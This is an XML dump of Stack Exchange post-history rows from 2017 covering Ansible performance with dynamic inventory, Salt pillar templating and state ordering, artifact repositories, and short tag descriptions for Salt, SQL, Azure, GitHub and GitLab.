  <row Id="3192" PostHistoryTypeId="5" PostId="953" RevisionGUID="4868e0df-2a11-43cb-b338-2317415fc12e" CreationDate="2017-04-19T15:12:31.137" UserId="46" Comment="added 1 character in body; edited title" Text="I've got an ever expanding playbook that patches a few hundred machines to the latest version, I just add the same role with different parameters.   &#xD;&#xA;&#xD;&#xA;Obviously, the playbook is taking longer and longer to run on each machine, even though it's not really doing anything on them. &#xD;&#xA;&#xD;&#xA;What I'm doing is in the pre-tasks, I'm getting a changelog file, checking that and running each of the roles when an identifier that a successful run puts in that changelog file does not exist.   But, even so, ansible still takes a fairly onerous amount of time to do nothing.  &#xD;&#xA;&#xD;&#xA;When I strace the main ansible process it looks like its trying to hit a bunch of non-existent cached facts files and the inventory script.&#xD;&#xA;&#xD;&#xA;I think I've created the dynamic inventory correctly, it accepts both the &quot;--host&quot; and &quot;--list&quot; parameters (although I'm not certain that --host is being called).  &#xD;&#xA;&#xD;&#xA;I've got about 100 devices that I haven't gathered facts for in the inventory file and I've got:&#xD;&#xA;&#xD;&#xA;    fact_caching_connection = /tmp/factscache&#xD;&#xA;    fact_caching = jsonfile&#xD;&#xA;&#xD;&#xA;set up.  &#xD;&#xA;&#xD;&#xA;If I take that out, it doesn't try to hit up the missing facts files, but it there is a `stat` in the strace against the inventory generator file over and over again. I know it can't be generating the entire inventory because that take 5 seconds.&#xD;&#xA;&#xD;&#xA;I've tried generating regular inventory files and using those, I've tried generating inventory files with both _meta and the regular host_vars (currently using _meta to house the host vars because I heard that was faster).  &#xD;&#xA;&#xD;&#xA;(running ansible 2.0) " ContentLicense="CC BY-SA 3.0" />
  <row Id="3193" PostHistoryTypeId="4" PostId="953" RevisionGUID="4868e0df-2a11-43cb-b338-2317415fc12e" CreationDate="2017-04-19T15:12:31.137" UserId="46" Comment="added 1 character in body; edited title" Text="Running Ansible no-op's faster with a dynamic inventory and cached facts files" ContentLicense="CC BY-SA 3.0" />
  <row Id="3195" PostHistoryTypeId="5" PostId="946" RevisionGUID="2a28d4fd-8cf3-4806-8e32-1a59be6864e6" CreationDate="2017-04-19T15:25:08.323" UserId="339" Comment="Given the broader context in question (role-based assignment), answer was insufficient. Corrected and reason for approach explained." Text="This templated SLS file works splendidly:&#xD;&#xA;&#xD;&#xA;    {% if 'components' in salt.pillar.items() %}&#xD;&#xA;    &#xD;&#xA;    include:&#xD;&#xA;    {% for component in salt.pillar.get('components').keys() %}&#xD;&#xA;      - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;However, it requires changing my pillar key structure. From the original answer, you see the structure as:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            - a-dependency-name&#xD;&#xA;&#xD;&#xA;Instead, it needs to be:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            ----------&#xD;&#xA;            a-dependency-name:&#xD;&#xA;                None&#xD;&#xA;&#xD;&#xA;Note that `a-dependency-name` is now a dict, and has a single key/value, `None`. Thus the pillar SLS file needs to change from&#xD;&#xA;&#xD;&#xA;    components:&#xD;&#xA;      - a-dependency-name&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    components:&#xD;&#xA;      a-dependency-name: ~&#xD;&#xA;&#xD;&#xA;While you can get away with not using no-value dictionaries (and thus get rid of the `.keys()` in the template) and use lists instead, if you do that, you can't merge the `components` from multiple different pillars; each pillar Salt applies will override the `components` key from the previous, and the last pillar read will win. If you want to merge pillars (we *are* talking about role-based assignment, here), this would appear to be the necessary construct.&#xD;&#xA;    &#xD;&#xA;With that, the output of `salt my-minion-id state.show_sls components` is then correct:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.show_sls components&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        a-dependency-name:&#xD;&#xA;          ----------&#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`pillar.items()` in Jinja templates turns out not to be *quite* equivalent to `salt.pillar.items()`; if you try using `pillar.ls()`, for example, you may see the following error:&#xD;&#xA;&#xD;&#xA;    Rendering SLS 'base:components' failed: Jinja variable 'salt.pillar object' has no attribute 'ls'&#xD;&#xA;&#xD;&#xA;Whether that means one should avoid the implicit `salt.` prefix shortcut Jinja provides, or instead use a construct like `{% if pillar['components'] is defined %}` (thanks, @brousch, for the advice), I can't say." ContentLicense="CC BY-SA 3.0" />
  <row Id="3196" PostHistoryTypeId="5" PostId="945" RevisionGUID="ffc322eb-a044-4eac-8aa8-fc619bb43561" CreationDate="2017-04-19T15:31:16.763" UserId="339" Comment="Ensure question calls out problem of pillar merging and consequent pillar structure correction" Text="I'm trying to create a dummy state in Salt to pull dependencies from a list derived from a pillar.&#xD;&#xA;&#xD;&#xA;In my `top.sls` file, I have:&#xD;&#xA;&#xD;&#xA;    base:&#xD;&#xA;      '*':&#xD;&#xA;        - components&#xD;&#xA;&#xD;&#xA;Then, in `components.sls`, I have:&#xD;&#xA;&#xD;&#xA;    {% if 'components' in pillar.items() %}&#xD;&#xA;    include:&#xD;&#xA;    {% for component in pillar.get('components',[]) %}&#xD;&#xA;      - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;    &#xD;&#xA;    {% if 'components' in pillar.items() %}&#xD;&#xA;    components:&#xD;&#xA;      require:&#xD;&#xA;    {% for component in pillar.get('components',[]) %}&#xD;&#xA;        - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;When I check the pillar contents, I see:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id pillar.items&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            - a-dependency-name&#xD;&#xA;&#xD;&#xA;But when I try to see the set of states, I see:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.show_sls components&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;&#xD;&#xA;...and that's it.&#xD;&#xA;&#xD;&#xA;My ultimate goal, here, is to treat the minion as hostile, so I'm trying to pull role details out of pillars instead of assigning roles in my `file_root`'s `top.sls`. It's my understanding that every minion has full access to the contents of the file_root, and I don't want a hostile minion to know the specific firewall or services of any unrelated node.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;I discovered that my pillar structure didn't support pillar merging, as it used lists, so I switched to a pillar-structure that used no-value dicts:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            ----------&#xD;&#xA;            a-dependency-name:&#xD;&#xA;                None" ContentLicense="CC BY-SA 3.0" />
  <row Id="3197" PostHistoryTypeId="5" PostId="946" RevisionGUID="9e10100e-0e5f-42d3-844a-4dc4b1a66728" CreationDate="2017-04-19T15:31:54.843" UserId="339" Comment="typo" Text="This templated SLS file works splendidly:&#xD;&#xA;&#xD;&#xA;    {% if 'components' in salt.pillar.items() %}&#xD;&#xA;    &#xD;&#xA;    include:&#xD;&#xA;    {% for component in salt.pillar.get('components').keys() %}&#xD;&#xA;      - {{ component }}&#xD;&#xA;    {% endfor %}&#xD;&#xA;    &#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;However, it requires changing my pillar key structure. From the original question, you see the structure as:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            - a-dependency-name&#xD;&#xA;&#xD;&#xA;Instead, it needs to be:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        components:&#xD;&#xA;            ----------&#xD;&#xA;            a-dependency-name:&#xD;&#xA;                None&#xD;&#xA;&#xD;&#xA;Note that `a-dependency-name` is now a dict, and has a single key/value, `None`. Thus the pillar SLS file needs to change from&#xD;&#xA;&#xD;&#xA;    components:&#xD;&#xA;      - a-dependency-name&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    components:&#xD;&#xA;      a-dependency-name: ~&#xD;&#xA;&#xD;&#xA;While you can get away with not using no-value dictionaries (and thus get rid of the `.keys()` in the template) and use lists instead, if you do that, you can't merge the `components` from multiple different pillars; each pillar Salt applies will override the `components` key from the previous, and the last pillar read will win. If you want to merge pillars (we *are* talking about role-based assignment, here), this would appear to be the necessary construct.&#xD;&#xA;    &#xD;&#xA;With that, the output of `salt my-minion-id state.show_sls components` is then correct:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.show_sls components&#xD;&#xA;    my-minion-id:&#xD;&#xA;        ----------&#xD;&#xA;        a-dependency-name:&#xD;&#xA;          ----------&#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`pillar.items()` in Jinja templates turns out not to be *quite* equivalent to `salt.pillar.items()`; if you try using `pillar.ls()`, for example, you may see the following error:&#xD;&#xA;&#xD;&#xA;    Rendering SLS 'base:components' failed: Jinja variable 'salt.pillar object' has no attribute 'ls'&#xD;&#xA;&#xD;&#xA;Whether that means one should avoid the implicit `salt.` prefix shortcut Jinja provides, or instead use a construct like `{% if pillar['components'] is defined %}` (thanks, @brousch, for the advice), I can't say." ContentLicense="CC BY-SA 3.0" />
  <row Id="3198" PostHistoryTypeId="6" PostId="945" RevisionGUID="aebdb7e0-c965-4f3b-b60e-d8a593c82f49" CreationDate="2017-04-19T15:40:49.727" UserId="339" Comment="Add appropriate tags that didn't exist before." Text="&lt;dependency-management&gt;&lt;salt&gt;&lt;jinja&gt;&lt;templating&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3199" PostHistoryTypeId="2" PostId="954" RevisionGUID="d6cbee0f-e4e0-4dd6-b50c-814b4627ab8f" CreationDate="2017-04-19T15:44:57.670" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3200" PostHistoryTypeId="1" PostId="954" RevisionGUID="d6cbee0f-e4e0-4dd6-b50c-814b4627ab8f" CreationDate="2017-04-19T15:44:57.670" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3201" PostHistoryTypeId="2" PostId="955" RevisionGUID="5593ef5b-272e-42ac-ad5f-e2ab84fc6868" CreationDate="2017-04-19T15:44:57.670" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3202" PostHistoryTypeId="1" PostId="955" RevisionGUID="5593ef5b-272e-42ac-ad5f-e2ab84fc6868" CreationDate="2017-04-19T15:44:57.670" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3203" PostHistoryTypeId="2" PostId="956" RevisionGUID="4adb3724-6dfc-439c-85d5-dbe19d260e12" CreationDate="2017-04-19T16:13:37.470" UserId="2420" Text="According to the [runner readme][1], the old version compatible with 8.x can be [downloaded from here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/README.md&#xD;&#xA;  [2]: https://gitlab-ci-multi-runner-downloads.s3.amazonaws.com/v1.11.2/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3204" PostHistoryTypeId="2" PostId="957" RevisionGUID="00d7a0c8-0ace-4430-b1ed-04417c9b6a8d" CreationDate="2017-04-19T16:14:19.687" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3205" PostHistoryTypeId="1" PostId="957" RevisionGUID="00d7a0c8-0ace-4430-b1ed-04417c9b6a8d" CreationDate="2017-04-19T16:14:19.687" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3206" PostHistoryTypeId="2" PostId="958" RevisionGUID="58ca811e-8e4c-41b5-b310-056c0ec72643" CreationDate="2017-04-19T16:14:19.687" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3207" PostHistoryTypeId="1" PostId="958" RevisionGUID="58ca811e-8e4c-41b5-b310-056c0ec72643" CreationDate="2017-04-19T16:14:19.687" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3208" PostHistoryTypeId="2" PostId="959" RevisionGUID="beccec3a-54b7-4b06-b0bf-4a2b61844c5a" CreationDate="2017-04-19T16:17:04.113" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3209" PostHistoryTypeId="1" PostId="959" RevisionGUID="beccec3a-54b7-4b06-b0bf-4a2b61844c5a" CreationDate="2017-04-19T16:17:04.113" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3210" PostHistoryTypeId="2" PostId="960" RevisionGUID="a364c0e1-68e4-422f-9f7b-936509056475" CreationDate="2017-04-19T16:17:04.113" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3211" PostHistoryTypeId="1" PostId="960" RevisionGUID="a364c0e1-68e4-422f-9f7b-936509056475" CreationDate="2017-04-19T16:17:04.113" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3212" PostHistoryTypeId="2" PostId="961" RevisionGUID="31e91c48-3a22-400a-bce6-619c007e4221" CreationDate="2017-04-19T16:19:27.363" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3213" PostHistoryTypeId="1" PostId="961" RevisionGUID="31e91c48-3a22-400a-bce6-619c007e4221" CreationDate="2017-04-19T16:19:27.363" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3214" PostHistoryTypeId="2" PostId="962" RevisionGUID="8082fe4a-aa8a-40d0-8dc0-8a7d1cf17755" CreationDate="2017-04-19T16:19:27.363" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3215" PostHistoryTypeId="1" PostId="962" RevisionGUID="8082fe4a-aa8a-40d0-8dc0-8a7d1cf17755" CreationDate="2017-04-19T16:19:27.363" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3216" PostHistoryTypeId="5" PostId="949" RevisionGUID="2fe5b83a-1ca0-428d-866b-aee132f7488a" CreationDate="2017-04-19T16:23:48.747" UserId="1202" Comment="added link proposed in comments" Text="I'm not overly familiar with Docker particularly but it sounds a lot like issues one would get when building a normal .NET application or java app with the need to store their external dependencies (DLL or jar).&#xD;&#xA;&#xD;&#xA;To solve this I'm quite fond of artifactories. Two of the most popular are sonatype's [Nexus][1] and JFrog's [Artifactory][2].  Both offer a free Open Source version and both will have some way to store customised package or use it as a raw depot.  There are other options out there, I just listed these two because I've worked with them already and know they will do what you need.  As a bonus you might also be able to use them to manage the docker image directly as well.&#xD;&#xA;&#xD;&#xA;There are others too worth mentioning, you can find a [comparison table][3] for them, you'll get a better view of their capabilities. (thanks to Karl Harnagy for the link)&#xD;&#xA;&#xD;&#xA;Note that some of these options might require one or another of the paid versions so YMMV.&#xD;&#xA;&#xD;&#xA;Some continuous integration systems will also support the concept of artifacts (from experience Jenkins and team-city do this, others might as well though) which should allow you do achieve similar results directly.&#xD;&#xA;&#xD;&#xA;If none of these do it for you you can look into other technologies or roll your own.  I personally like to leverage whatever I already have this reduces the maintenance required in long term and makes passing the buck easier when comes time to look for new challenges elsewhere.&#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-software-component-management&#xD;&#xA;  [2]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [3]: https://binary-repositories-comparison.github.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3217" PostHistoryTypeId="5" PostId="955" RevisionGUID="f4b2ed71-1379-4cc4-88d6-a3658083af21" CreationDate="2017-04-19T16:25:21.520" UserId="339" Comment="added 97 characters in body" Text="Salt is a Python-based open-source configuration management software and remote execution engine." ContentLicense="CC BY-SA 3.0" />
  <row Id="3218" PostHistoryTypeId="24" PostId="955" RevisionGUID="f4b2ed71-1379-4cc4-88d6-a3658083af21" CreationDate="2017-04-19T16:25:21.520" Comment="Proposed by 339 approved by 40, 13 edit id of 294" ContentLicense="CC BY-SA 3.0" />
  <row Id="3219" PostHistoryTypeId="5" PostId="962" RevisionGUID="ddfa7288-04eb-4566-87c8-c9263fabef38" CreationDate="2017-04-19T16:25:28.043" UserId="40" Comment="added 86 characters in body" Text="For questions about Groovy, which is an object-oriented programming language for Java." ContentLicense="CC BY-SA 3.0" />
  <row Id="3220" PostHistoryTypeId="24" PostId="962" RevisionGUID="ddfa7288-04eb-4566-87c8-c9263fabef38" CreationDate="2017-04-19T16:25:28.043" Comment="Proposed by 40 approved by 13 edit id of 297" ContentLicense="CC BY-SA 3.0" />
  <row Id="3221" PostHistoryTypeId="5" PostId="958" RevisionGUID="7f5e9bf7-997a-4cbf-b2fa-f2f79dc90a19" CreationDate="2017-04-19T16:25:32.943" UserId="40" Comment="added 96 characters in body" Text="For questions about Structured Query Language (SQL), which is a language for querying databases." ContentLicense="CC BY-SA 3.0" />
  <row Id="3222" PostHistoryTypeId="24" PostId="958" RevisionGUID="7f5e9bf7-997a-4cbf-b2fa-f2f79dc90a19" CreationDate="2017-04-19T16:25:32.943" Comment="Proposed by 40 approved by 13 edit id of 295" ContentLicense="CC BY-SA 3.0" />
  <row Id="3223" PostHistoryTypeId="5" PostId="960" RevisionGUID="ebc5cfef-5b33-4128-81d4-c7adb79a8e6d" CreationDate="2017-04-19T16:25:38.600" UserId="40" Comment="added 141 characters in body" Text="For questions about Microsoft Azure, which is a Platform as a Service (PaaS) and Infrastructure as a Service (IaaS) cloud computing platform." ContentLicense="CC BY-SA 3.0" />
  <row Id="3224" PostHistoryTypeId="24" PostId="960" RevisionGUID="ebc5cfef-5b33-4128-81d4-c7adb79a8e6d" CreationDate="2017-04-19T16:25:38.600" Comment="Proposed by 40 approved by 13 edit id of 296" ContentLicense="CC BY-SA 3.0" />
  <row Id="3225" PostHistoryTypeId="2" PostId="963" RevisionGUID="143c9a88-5cfb-41b2-8353-7ece39c33fd0" CreationDate="2017-04-19T17:08:29.640" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3226" PostHistoryTypeId="1" PostId="963" RevisionGUID="143c9a88-5cfb-41b2-8353-7ece39c33fd0" CreationDate="2017-04-19T17:08:29.640" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3227" PostHistoryTypeId="2" PostId="964" RevisionGUID="901470b1-d3a1-4a4b-a8c4-b45ee5987108" CreationDate="2017-04-19T17:08:29.640" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3228" PostHistoryTypeId="1" PostId="964" RevisionGUID="901470b1-d3a1-4a4b-a8c4-b45ee5987108" CreationDate="2017-04-19T17:08:29.640" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3229" PostHistoryTypeId="2" PostId="965" RevisionGUID="1b3e12c9-2f1d-4fc4-91b6-56d3009d28b1" CreationDate="2017-04-19T17:10:49.847" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3230" PostHistoryTypeId="1" PostId="965" RevisionGUID="1b3e12c9-2f1d-4fc4-91b6-56d3009d28b1" CreationDate="2017-04-19T17:10:49.847" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3231" PostHistoryTypeId="2" PostId="966" RevisionGUID="ce54fd44-0163-4f29-9fde-d03f50df0dc5" CreationDate="2017-04-19T17:10:49.847" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3232" PostHistoryTypeId="1" PostId="966" RevisionGUID="ce54fd44-0163-4f29-9fde-d03f50df0dc5" CreationDate="2017-04-19T17:10:49.847" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3233" PostHistoryTypeId="2" PostId="967" RevisionGUID="68651aa9-4e34-4553-98ac-ce094ad0dc56" CreationDate="2017-04-19T17:12:35.877" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3234" PostHistoryTypeId="1" PostId="967" RevisionGUID="68651aa9-4e34-4553-98ac-ce094ad0dc56" CreationDate="2017-04-19T17:12:35.877" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3235" PostHistoryTypeId="2" PostId="968" RevisionGUID="98c63fb9-eec0-4e6c-a9ff-eb7f4f9b22b5" CreationDate="2017-04-19T17:12:35.877" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3236" PostHistoryTypeId="1" PostId="968" RevisionGUID="98c63fb9-eec0-4e6c-a9ff-eb7f4f9b22b5" CreationDate="2017-04-19T17:12:35.877" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3237" PostHistoryTypeId="5" PostId="155" RevisionGUID="2a763170-cc24-4fbd-8a34-62d17970dabc" CreationDate="2017-04-19T17:34:58.493" UserId="40" Comment="added 105 characters in body" Text="For questions about setup, configuration, and usage related to GitHub, a web-based hosting service for software development projects using Git." ContentLicense="CC BY-SA 3.0" />
  <row Id="3238" PostHistoryTypeId="24" PostId="155" RevisionGUID="2a763170-cc24-4fbd-8a34-62d17970dabc" CreationDate="2017-04-19T17:34:58.493" Comment="Proposed by 40 approved by 46 edit id of 298" ContentLicense="CC BY-SA 3.0" />
  <row Id="3239" PostHistoryTypeId="5" PostId="966" RevisionGUID="db94ff0d-54d3-4f6b-b4d5-9d45c24851c4" CreationDate="2017-04-19T17:35:00.863" UserId="40" Comment="added 70 characters in body" Text="For questions about Capistrano, a tool for deploying web applications." ContentLicense="CC BY-SA 3.0" />
  <row Id="3240" PostHistoryTypeId="24" PostId="966" RevisionGUID="db94ff0d-54d3-4f6b-b4d5-9d45c24851c4" CreationDate="2017-04-19T17:35:00.863" Comment="Proposed by 40 approved by 46 edit id of 300" ContentLicense="CC BY-SA 3.0" />
  <row Id="3241" PostHistoryTypeId="5" PostId="964" RevisionGUID="5ea0f177-17f0-46f4-940d-5d324f2c43ef" CreationDate="2017-04-19T17:35:03.697" UserId="40" Comment="added 130 characters in body" Text="For questions about GitLab, an open source Git repository manager with issue tracking, wiki and continuous integration facilities." ContentLicense="CC BY-SA 3.0" />
  <row Id="3242" PostHistoryTypeId="24" PostId="964" RevisionGUID="5ea0f177-17f0-46f4-940d-5d324f2c43ef" CreationDate="2017-04-19T17:35:03.697" Comment="Proposed by 40 approved by 46 edit id of 299" ContentLicense="CC BY-SA 3.0" />
  <row Id="3243" PostHistoryTypeId="5" PostId="968" RevisionGUID="4f8e8902-7209-4875-ba39-fe0416c91764" CreationDate="2017-04-19T17:35:07.067" UserId="40" Comment="added 51 characters in body" Text="For questions about Service Level Agreements (SLAs)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3244" PostHistoryTypeId="24" PostId="968" RevisionGUID="4f8e8902-7209-4875-ba39-fe0416c91764" CreationDate="2017-04-19T17:35:07.067" Comment="Proposed by 40 approved by 46 edit id of 301" ContentLicense="CC BY-SA 3.0" />
  <row Id="3245" PostHistoryTypeId="2" PostId="969" RevisionGUID="b9e38c3b-f1de-4123-a22e-7b38dd32b2c0" CreationDate="2017-04-19T18:06:43.467" UserId="339" Text="Given three states, `/root/a`, `/root/b` and `/root/c`, I want `/root/c` to execute before `/root/b`, and `/root/b` to execute before `/root/c`.&#xD;&#xA;&#xD;&#xA;Given a Salt SLS file `salt://ordertest/init.sls`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600 &#xD;&#xA;    &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600 &#xD;&#xA;    &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;&#xD;&#xA;I can test to see the order in which the listed states would be applied. You'll see `/root/a` precede `/root/b`, and `/root/b` preceed `/root/c`.&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.apply ordertest test=True&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;        Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:54:23.538144&#xD;&#xA;        Duration: 31.765 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:54:23.570065&#xD;&#xA;        Duration: 16.632 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:54:23.586831&#xD;&#xA;        Duration: 17.124 ms&#xD;&#xA;         Changes:&#xD;&#xA;&#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;    ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  65.521 ms&#xD;&#xA;&#xD;&#xA;If we use `require` to directly tell `/root/b` to require `/root/`, and `/root/c` to require `/root/b`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/b&#xD;&#xA; &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/c&#xD;&#xA; &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;&#xD;&#xA;We get the ordering we want:&#xD;&#xA;&#xD;&#xA;    $ salt my-minion-id state.apply ordertest test=True&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;           Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:32:33.624165&#xD;&#xA;        Duration: 31.807 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:32:33.656166&#xD;&#xA;        Duration: 17.247 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:32:33.673589&#xD;&#xA;        Duration: 17.126 ms&#xD;&#xA;         Changes:&#xD;&#xA;&#xD;&#xA;    Summary for my-minion-id&#xD;&#xA;    ------------&#xD;&#xA;    Succeeded: 3 (unchanged=3)&#xD;&#xA;    Failed:    0&#xD;&#xA;     ------------&#xD;&#xA;    Total states run:     3&#xD;&#xA;    Total run time:  66.180 ms&#xD;&#xA;&#xD;&#xA;But if we try to use `require_in` to have `/root/c` place itself before `/root/b`:&#xD;&#xA;&#xD;&#xA;    /root/a:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/a&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require:&#xD;&#xA;          - /root/b&#xD;&#xA; &#xD;&#xA;    /root/b:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/b&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA; &#xD;&#xA;    /root/c:&#xD;&#xA;      file.managed:&#xD;&#xA;        - source: salt://ordertest/c&#xD;&#xA;        - user: root&#xD;&#xA;        - group: root&#xD;&#xA;        - mode: 600&#xD;&#xA;        - require_in:&#xD;&#xA;          - /root/b&#xD;&#xA;&#xD;&#xA;It doesn't work; `/root/c` stays at the end of the sequence:&#xD;&#xA;&#xD;&#xA;    my-minion-id:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/b&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/b is set to be changed&#xD;&#xA;         Started: 13:36:54.037214&#xD;&#xA;        Duration: 32.401 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/a&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/a is set to be changed&#xD;&#xA;         Started: 13:36:54.069797&#xD;&#xA;        Duration: 16.968 ms&#xD;&#xA;         Changes:&#xD;&#xA;    ----------&#xD;&#xA;              ID: /root/c&#xD;&#xA;        Function: file.managed&#xD;&#xA;          Result: None&#xD;&#xA;         Comment: The file /root/c is set to be changed&#xD;&#xA;         Started: 13:36:54.086908&#xD;&#xA;        Duration: 17.349 